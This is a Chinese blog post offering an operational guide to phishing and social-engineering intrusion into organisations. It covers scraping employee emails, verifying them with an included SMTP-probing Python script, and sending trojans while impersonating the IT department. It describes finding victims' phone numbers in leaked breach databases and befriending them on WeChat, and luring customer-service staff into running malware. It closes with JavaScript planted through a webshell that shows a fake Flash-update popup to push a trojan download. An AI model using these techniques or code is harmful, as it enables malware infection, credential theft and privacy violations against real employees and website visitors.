从互联网中收集目标员工邮箱,发送钓鱼邮件
这里推荐使用theHarvester脚本收集邮箱
https://github.com/laramies/theHarvester语法:-d参数指向目标的域名,-b all是用调用theHarvester的所有模板查找邮箱
python3 theHarvester.py -d xxx.com -b all微匹:http://www.veryvp.com/hunter: https://hunter.io/search/domain.comskymem: https://www.skymem.info/
收集到邮箱后,可以先验证邮箱是否真实有效,通过以下的脚本验证邮箱的真实性,脚本在文章末尾。
然后对这些真实存在的邮箱发送钓鱼邮件即可。
邮件内容要能吸引员工兴趣,最好是关乎到他们的利益,这样才能诱导他们查看。
并且设置自己的邮箱昵称与目标相关,例如:行政服务部
使用目标员工的邮箱发送马,不用考虑邮件网关导致发不进去
OA办公系统可以获取目标大量员工联系方式,对一些安全意识薄弱的部门员工发送“非常重要”的消息。
通过tg的社工库查邮箱获取手机号,再通过手机号添加微信定向社工。
下图是我通过qq邮箱发送钓鱼邮件后,如果邮箱存在,则会显示已投递到对方邮箱,如果邮箱不存在,则显示投递失败,已退信。
通过该方法,也可以判断邮箱是否有效。
通过qq邮箱发送,还有一个好处,就是有些用户会设置自动回复或者回复了我们的邮件,那么这时候就可以获取到该用户的一些信息。
从收集到的邮箱中中选择了lining9用户的邮箱,在tg中找到了该邮箱泄露的信息,我们应该关注的重点信息是手机号
然后通过微信小号查找该手机号,并添加对方为好友。
这里我直接报对方的名字和邮箱号,一是可以判断是否加错,二是获取对方的信任。
制作和目标相关的木马,这个需要先去了解目标的情况。
这里我是调查了他们员工都是用了一种安全桌面客户端,所以我就伪装自己是公司的技术部门,让他更新补丁,于是将马发送给他后,不一会儿就上线到CS了。
举个例子,通用关键字有:联系方式、简历、招聘、应聘、贷款、手机号、邮箱 等等
对于一些特殊行业,那么可以自己联想关键字,例如 投标、招标、投诉 等等
自己发挥想象,各种关键字相互组合。
目标名字"XXXX" 联系方式投递简历hr招聘应聘贷款手机号
制作一个应聘简历马,然后发过去就可以了。
一些企业或者金融行业,他们的网站都有在线客服功能。那么可以通过人工服务去定向社工。
例如:在线客服处有上传文件的功能,那么就将我们的马直接传上去,诱导客服运行。
或者就想办法加这些客服人员的微信,具体的话术自己构造。
上图中的马的名字也是有根据的,我是在他们的网站上找到下面的信息,然后问客服打不开文件是什么原因。诱导客服尝试打开我们的马。
前提:拿下了webshell后,在webshell中植入下面的项目。
https://github.com/r00tSe7en/Flash-Pop效果:当有人第一次访问时,会触发下图的弹框,诱导访问者点击立即升级,这时候会跳转到我们的Flash木马地址自动下载。当访问者点击安装了木马后,就会上线到远控端。然后将访问者的浏览器设置一个cookies,避免访问者刷新后又弹框。这样就不会触发访问者的警觉了,误以为安装了Flash后就可以了。
验证邮箱真实性脚本
'''在线验证邮箱真实性'''import randomimport smtplibfrom termcolor import cprintimport dns.resolverimport timefrom queue import Queuefrom threading import Thread# 查询邮件服务器def get_mailServer(server):print('查找[{}]邮箱服务器...'.format(server))try:answers = dns.resolver.query(server, 'MX')res = [str(rdata.exchange)[:-1] for rdata in answers]print('\t[{}]邮件服务器:{}'.format(server, res))return resexcept Exception as e:print('\t[error] : {}'.format(e.args))return []# 判断邮箱是否存活def checkEmail(mailServers, emails_queue, aliveEmails):try:mailServer = random.choice(mailServers)print('\t连接服务器:{}'.format(mailServer))s = smtplib.SMTP(mailServer, timeout=10)except Exception as e:print('\t[error] : {}'.format(e.args))returnwhile not emails_queue.empty():email = emails_queue.get()num = emails_queue.qsize()try:helo = s.docmd('HELO chacuo.net')# print(helo) # (250, b'Forcepoint email protection service')send_from = s.docmd('MAIL FROM:<[email protected]>')# print(send_from) # (250, b'2.1.0 Ok')send_from = s.docmd('RCPT TO:<%s>' % email)# print(send_from) # (550, b'5.1.1 Error: invalid recipients is found from 101.68.81.227') 或者 (250, b'2.1.5 Ok')if send_from[0] == 250 or send_from[0] == 451:# final_res[email] = True # 存在cprint('\t[{}] [+] {}'.format(num, email), 'red')aliveEmails.append(email)elif send_from[0] == 550:# final_res[email] = False # 不存在print('\t[{}] [-] {} 不存在'.format(num, email))elif send_from[0] == 503:cprint('\t[{}] [-] {} code = 503 重新连接邮件服务器{}'.format(num, email, mailServer))s.close()time.sleep(10)try:s = smtplib.SMTP(mailServer, timeout=10)except Exception as e:s.close()time.sleep(10)s = smtplib.SMTP(mailServer, timeout=10)helo = s.docmd('HELO chacuo.net')send_from = s.docmd('MAIL FROM:<[email protected]>')send_from = s.docmd('RCPT TO:<%s>' % email)if send_from[0] == 250 or send_from[0] == 451:cprint('\t[{}] [+] {}'.format(num, email), 'red')aliveEmails.append(email)elif send_from[0] == 550:print('\t[{}] [-] {}'.format(num, email))else:# final_res[email] = None # 未知print('\t[{}] [-] {} : {} : {}'.format(num, email, send_from[0], send_from))except Exception as e:print('\t[{}] [error] {} : {}'.format(num, email, e.args))s.close()try:s = smtplib.SMTP(mailServer, timeout=10)except Exception as e:s.close()time.sleep(10)s = smtplib.SMTP(mailServer, timeout=10)s.close()def run(emails):Server_emails = {}aliveEmails = [] # 存活的emailsfor email in emails:name, server = email.split('@')if Server_emails.get(server):Server_emails[server].append(email)else:Server_emails[server] = [email]print(Server_emails)for server in Server_emails:mailServers = get_mailServer(server)if mailServers:emailsNums = len(Server_emails[server])emails_queue = Queue(-1)for email in Server_emails[server]:emails_queue.put(email)threads = []for i in range(5):t = Thread(target=checkEmail, args=(mailServers, emails_queue, aliveEmails))threads.append(t)t.start()for t in threads:t.join()return aliveEmailsdef run_verifyEmails(emails):aliveEmails = run(emails)return aliveEmailsif __name__ == '__main__':emails = []with open('mail.txt', 'rt') as f:for each in f.readlines():emails.append(each.strip())aliveEmails = run_verifyEmails(emails)print(aliveEmails)
flash.js新增代码,通过新增cookeis避免多次弹框:
function setCookie(cname,cvalue,exdays) {var d = new Date();d.setTime(d.getTime() + (exdays*24*60*60*1000));var expires = "expires=" + d.toGMTString();document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";}function getCookie(cname) {var name = cname + "=";var decodedCookie = decodeURIComponent(document.cookie);var ca = decodedCookie.split(';');for(var i = 0; i < ca.length; i++) {var c = ca[i];while (c.charAt(0) == ' ') {c = c.substring(1);}if (c.indexOf(name) == 0) {return c.substring(name.length, c.length);}}return "";}var download666 = function() {setCookie("username1", "True", 30);setTimeout("location.href='./'", 500 );setTimeout("localStorage.setItem('isUpdate', '1');", 500 );window.open('./autoinstall/flashplayerpp_install_cn.exe');}function checkCookie() {var user=getCookie("username1");if (user == "") {document.write("<script src='./layer/jquery.min.js'></script>");document.write("<script src='./layer/layer.js'></script>");window.onload = function(){layer.open({type: 1,move: false ,area: ['613px', '328px'],title: false,shade: 0.6,//maxmin: true ,anim: 1,offset: '100px',scrollbar: false,content: '<a href="javascript:;" onclick="download666()"><img src="./flash.jpg"></a>'//创建图像});}}}checkCookie();
文章来源: ske的博客
作者: ske
原文链接: 点击阅读原文
推荐阅读: